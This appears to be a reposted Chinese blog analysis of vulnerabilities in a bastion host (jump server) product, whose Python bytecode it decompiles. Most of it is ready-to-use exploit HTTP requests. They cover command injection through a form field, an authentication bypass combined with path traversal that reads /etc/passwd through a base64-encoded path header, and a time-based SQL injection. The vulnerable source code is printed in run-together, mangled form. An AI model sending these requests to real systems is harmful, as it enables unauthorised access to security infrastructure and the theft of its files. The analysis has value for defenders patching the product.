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https://mp.weixin.qq.com/s/tWRD9oYo5eNeyLcf_pv2ewhttps://mp.weixin.qq.com/s/rmWBOQaE4aSxWI9VYBRpHg...
// 安装pip install uncompyle6// 查看版本uncompyle6 --version// 使用，-o outfile必须先写，例如有一个pcat.pyc，想反编译输出文件为pcat.pyuncompyle6 -o pcat.py pcat.pyc
@app.route("/lchk", methods=['GET','POST'])// 对应请求url为 http://xxxx/bhost/lchk....
数据包：POST /bhost/test_qrcode_b HTTP/1.1User-Agent: Go-http-client/1.1Accept-Encoding: gzip, deflate, brAccept: gzipConnection: closeReferer:Content-Type: application/x-www-form-urlencodedHost:Content-Length: 23z1=1&z2="|id;"&z3=bhost
# 发现传参没过滤直接拼接造成了任意文件读取@app.route("/GetCaCert", methods=['GET','POST'])# 文件读取 参数a1def GetCaCert():headers = str(request.headers) ;debug(headers)ifheaders.find("a1") <0:Name = request.args.get('a1')else:Name = headers.split('a1',0)[1].split()[1];try:ifos.path.exists('/usr/etc/'+Name):fp =open('/usr/etc/'+Name,'r');# 返回读取的内容并base64a = base64.b64encode(fp.read());returna,200else:return'',400except pyodbc.Error,e:return'',400
1根据阅读源码我们需要在请求头处构造poc2bhTranDownload接口其实是有判断逻辑，但因为判断逻辑有点毛病可以绕过，这里是有两个判断的2.1判断1：defcheck_path(path):foroneinlist_path:ifpath.find(one) >=0:returnTruereturnFalselist_path = ['/usr/storage/.system/upload','/usr/storage/.system/replay','/usr/storage/.system/software','/usr/storage/.system/update','/usr/storage/.system/config/backup','/usr/storage/.system/dwload','/usr/storage/.system/passwd','/usr/storage/.system/backup','/usr/storage/.system/transf','/usr/ssl/certs']为ifcheck_path(Path) ==FalseandFilename !='cf_tnsora':return'-1',403;为了绕过这个判断 我们需要把内容设置为list_path中的内容2.2判断2：将/usr/storage/.system/software base64编码并且固定在此处就可以通过ifPath.find("/software") >=0orMethod =='GetSize'orFilename =='cf_tnsora':passelse:sessioncheck绕过下面图中的那个else:避免进入鉴权3基于上面的说法 我们选择/usr/storage/.system/software来进行base64绕过这些则：Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU= 编码前的内容是/usr/storage/.system/software最终实现任意文件读取
GET /bhost/bhTranDownload HTTP/1.1Host: xxxxxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0Filename:xxxxxxxxxxxxxxx../../../etc/passwd base64编码希望读取的漏洞路径Session:111Path:L3Vzci9zdG9yYWdlLy5zeXN0ZW0vc29mdHdhcmU= 编码前的内容是/usr/storage/.system/softwareOffset:0Content-Length: 2Sesstimet:111Referer: https://xxxxxxxxx/
POST/bhost/repeat_get_usb_statusHTTP/1.1Host: xxxxxxxCookie: bhost=xxxxxxxxxxxxxxxxxUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestContent-Length: 20Origin: https://xxxxxxxxxxxDnt: 1Referer: https://xxxxxxxx/bhost/Sec-Fetch-Dest: emptySec-Fetch-Mode: corsSec-Fetch-Site: same-originTe: trailersConnection: closez1='||pg_sleep(2)||'
原文始发于微信公众号（WK安全）：Logbase思迪福堡垒机漏洞分析
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